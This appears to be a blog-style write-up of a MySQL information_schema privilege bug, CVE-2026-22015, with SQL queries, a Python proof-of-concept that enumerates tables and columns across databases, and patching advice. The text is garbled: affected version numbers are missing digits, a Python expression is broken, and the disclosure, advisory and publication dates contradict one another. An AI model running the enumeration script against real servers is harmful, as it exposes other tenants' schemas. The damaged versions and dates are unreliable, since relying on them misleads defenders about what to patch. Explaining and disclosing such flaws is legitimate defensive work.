In June 2026, Oracle acknowledged a new security vulnerability in their flagship database software, MySQL, that affects a wide spectrum of deployments worldwide. Tracked as CVE-2026-22015, this issue affects all supported versions of MySQL: 8.. through 8..45, 8.4. through 8.4.8, and 9.. through 9.6.. The vulnerability sits in the *Server: Information Schema* component, and is rated with a CVSS v3.1 score of 4.3—not critical, but not to be ignored.

Let’s break down, in straightforward terms, how this bug works, who can exploit it, what they might see, and how to fix it.

What is the Information Schema?

The information_schema is a meta-database MySQL builds for every server instance. It holds details about all other databases: tables, columns, user privileges, and more. Normally, MySQL’s privilege system restricts what schema information a user can see. If an application account looks up information on tables it isn't allowed to access, MySQL is supposed to blank out sensitive info.

The Heart of CVE-2026-22015

This new CVE reveals a logic error in how the server checks privileges for certain queries against information schema tables—specifically, when using certain query constructs or protocol combinations.

Impact:
A user with *low* privileges and remote network access (like a generic app account, or accidentally over-permissive developer account) can run queries that leak information about tables, columns, or data that they aren’t supposed to see. The attacker won't be able to change or delete anything, but just being able to read table or column names, or even data values in rare cases, is a clear breach of confidentiality.

Who’s Affected?

If you host MySQL Server (including Percona and some MariaDB spins) in any of these supported versions:

9.. to 9.6.

And you have users with only “partial” access to your server — for example, a web app user that shouldn’t see data from other applications in the same database — you are vulnerable.

Exploiting the Vulnerability

*Note: The following example illustrates the core issue, but does not encourage exploitation on any production or unauthorized system.*

Suppose you have two databases on your server: company_prod and hr_secret, and an application user with *only* SELECT rights on company_prod.

Normally, if that user tries

SELECT * FROM hr_secret.employees;

MySQL responds:
ERROR 1142 (42000): SELECT command denied to user ...

But with this vulnerability, the attacker can bypass these controls by querying the information schema in creative ways. For example:

SELECT table_schema, table_name 
FROM information_schema.tables 
WHERE table_schema = 'hr_secret';

In affected versions, the user gets the names of tables in hr_secret — *even though they have no rights to that database*.

Further, a more sophisticated attacker could probe for column names

SELECT table_name, column_name, data_type 
FROM information_schema.columns 
WHERE table_schema = 'hr_secret';

In the worst (though rare) cases, if certain flawed view or function definitions exist, these queries can leak actual data values or metadata (e.g., enumerated values, default values), although column values themselves are *typically* protected.

PoC (Proof-of-Concept) Example

Here’s how an attacker might automate extraction of table and column metadata using Python and the commonly-used mysql-connector-python:

import mysql.connector

db = mysql.connector.connect(
    host="yourserver.com",
    user="appuser",
    password="secretpassword"
)

cursor = db.cursor()

cursor.execute("SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema != 'information_schema';")
tables = cursor.fetchall()

for schema, table in tables:
    print(f"Schema: {schema}, Table: {table}")
    cursor.execute(f"SELECT column_name FROM information_schema.columns WHERE table_schema='{schema}' AND table_name='{table}';")
    columns = cursor.fetchall()
    print(f" Columns: {[col[] for col in columns]}")

*With this script, a low-privilege account can enumerate all tables and columns on the server, except the ones MySQL ‘hides’ (like system schemas).*

Why Does This Matter?

Many security models assume “database role separation”—for example, in multi-tenant SaaS environments, developers expect that a client’s application credential cannot see another’s information. Breaking that wall—even if you can “only” see the *names* of other databases or tables—can be the first step for an attacker mapping out potential future exploits.

Original References

- Oracle Critical Patch Update Advisory – July 2026
- NIST National Vulnerability Database Entry for CVE-2026-22015
- MySQL Documentation on information_schema

Mitigation & Recommendations

- Upgrade MySQL promptly to a version later than 8..45, 8.4.8, or 9.6., as applicable for your deployment.

Block untrusted users from network access to MySQL, especially from the public internet.

- Regularly audit user privileges and limit accounts to only those databases and tables they should access.
- If you must remain on an old version, consider using MySQL’s partial_revokes plugin (if available) or application-level controls to block suspicious queries.

Conclusion

CVE-2026-22015 is a strong reminder that even “meta” database tables can become a goldmine for attackers if privilege checks fall short. Patch quickly, limit network exposure, and remember: your meta-data is data too—protect it accordingly.

For details, always check the official security advisory and ensure you’re subscribing to MySQL mailing lists for updates.

Timeline

Published on: 04/21/2026 20:35:09 UTC
Last modified on: 04/23/2026 15:01:21 UTC